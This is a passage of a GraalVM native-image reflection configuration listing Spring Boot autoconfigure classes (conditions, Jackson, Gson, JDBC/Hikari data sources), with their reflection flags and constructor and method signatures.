\"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnCheckpointRestore\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnClass\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnCloudPlatform\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnMissingClass\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnNotWarDeployment\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnProperty\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnResource\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnSingleCandidate\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnThreading\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication$Type\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnBeanCondition\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnClassCondition\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnCloudPlatformCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnPropertyCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnResourceCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnThreadingCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnWarDeploymentCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.OnWebApplicationCondition\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.SearchStrategy\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"defaultLifecycleProcessor\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.context.LifecycleProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.context.LifecycleProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.context.MessageSourceAutoConfiguration$ResourceBundleCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"propertySourcesPlaceholderConfigurer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.dao.PersistenceExceptionTranslationAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"persistenceExceptionTranslationPostProcessor\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.data.redis.RedisUrlSyntaxFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.diagnostics.analyzer.NoSuchBeanDefinitionFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.flyway.FlywayMigrationInitializerDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.flyway.ResourceProviderCustomizerBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.freemarker.FreeMarkerTemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.freemarker.FreeMarkerTemplateAvailabilityProvider$FreeMarkerTemplateAvailabilityRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.freemarker.FreeMarkerTemplateAvailabilityProvider.FreeMarkerTemplateAvailabilityRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.groovy.template.GroovyTemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.groovy.template.GroovyTemplateAvailabilityProvider$GroovyTemplateAvailabilityRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.groovy.template.GroovyTemplateAvailabilityProvider.GroovyTemplateAvailabilityRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.gson.GsonAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"gson\",\"parameterTypes\":[\"com.google.gson.GsonBuilder\"] }, {\"name\":\"gsonBuilder\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"standardGsonBuilderCustomizer\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.gson.GsonProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.gson.GsonAutoConfiguration$StandardGsonBuilderCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"com.google.gson.GsonBuilder\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.gson.GsonBuilderCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.gson.GsonProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.GsonHttpMessageConvertersConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.GsonHttpMessageConvertersConfiguration$JacksonAndJsonbUnavailableCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.GsonHttpMessageConvertersConfiguration$PreferGsonOrJacksonAndJsonbUnavailableCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.HttpMessageConverters\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"iterator\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"messageConverters\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$HttpMessageConvertersAutoConfigurationRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$NotReactiveWebApplicationCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"stringHttpMessageConverter\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"mappingJackson2HttpMessageConverter\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.ObjectMapper\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.http.JsonbHttpMessageConvertersConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.info.ProjectInfoProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration$GitResourceAvailableCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.info.ProjectInfoProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.info.ProjectInfoProperties$Build\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.info.ProjectInfoProperties$Git\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.integration.IntegrationAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.integration.IntegrationPropertiesEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jsonComponentModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"standardJacksonObjectMapperBuilderCustomizer\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.jackson.JacksonProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration$StandardJackson2ObjectMapperBuilderCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.http.converter.json.Jackson2ObjectMapperBuilder\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonAutoConfigurationRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonMixinConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jsonMixinModule\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.jackson.JsonMixinModuleEntries\"] }, {\"name\":\"jsonMixinModuleEntries\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jacksonObjectMapperBuilder\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"java.util.List\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jacksonObjectMapper\",\"parameterTypes\":[\"org.springframework.http.converter.json.Jackson2ObjectMapperBuilder\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"parameterNamesModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration.JacksonAutoConfigurationRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonProperties$ConstructorDetectorStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jackson.JacksonProperties$Datatype\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration$EmbeddedDatabaseCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration$PooledDataSourceAvailableCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration$PooledDataSourceCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration$PooledDataSourceConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jdbcConnectionDetails\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.jdbc.DataSourceProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceBeanCreationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceCheckpointRestoreConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration$Dbcp2\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration$Generic\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration$Hikari\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dataSource\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.jdbc.DataSourceProperties\",\"org.springframework.boot.autoconfigure.jdbc.JdbcConnectionDetails\"] }, {\"name\":\"jdbcConnectionDetailsHikariBeanPostProcessor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration$OracleUcp\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceConfiguration$Tomcat\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceJmxConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceJmxConfiguration$Hikari\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"javax.sql.DataSource\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceProperties$Xa\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"transactionManager\",\"parameterTypes\":[\"org.springframework.core.env.Environment\",\"javax.sql.DataSource\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.HikariDriverConfigurationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.HikariJdbcConnectionDetailsBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcClientAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jdbcClient\",\"parameterTypes\":[\"org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcConnectionDetails\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcConnectionDetailsBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"processDataSource\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.boot.autoconfigure.jdbc.JdbcConnectionDetails\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcProperties$Template\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcTemplateAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.JdbcTemplateConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"jdbcTemplate\",\"parameterTypes\":[\"javax.sql.DataSource\",\"org.springframework.boot.autoconfigure.jdbc.JdbcProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.NamedParameterJdbcTemplateConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"namedParameterJdbcTemplate\",\"parameterTypes\":[\"org.springframework.jdbc.core.JdbcTemplate\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.PropertiesJdbcConnectionDetails\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getDriverClassName\",\"parameterTypes\":[] }, {\"name\":\"getJdbcUrl\",\"parameterTypes\":[] }, {\"name\":\"getPassword\",\"parameterTypes\":[] }, {\"name\":\"getUsername\",\"parameterTypes\":[] }, {\"name\":\"getXaDataSourceClassName\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.metadata.DataSourcePoolMetadataProvidersConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jdbc.metadata.DataSourcePoolMetadataProvidersConfiguration$HikariPoolDataSourceMetadataProviderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"hikariPoolDataSourceMetadataProvider\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  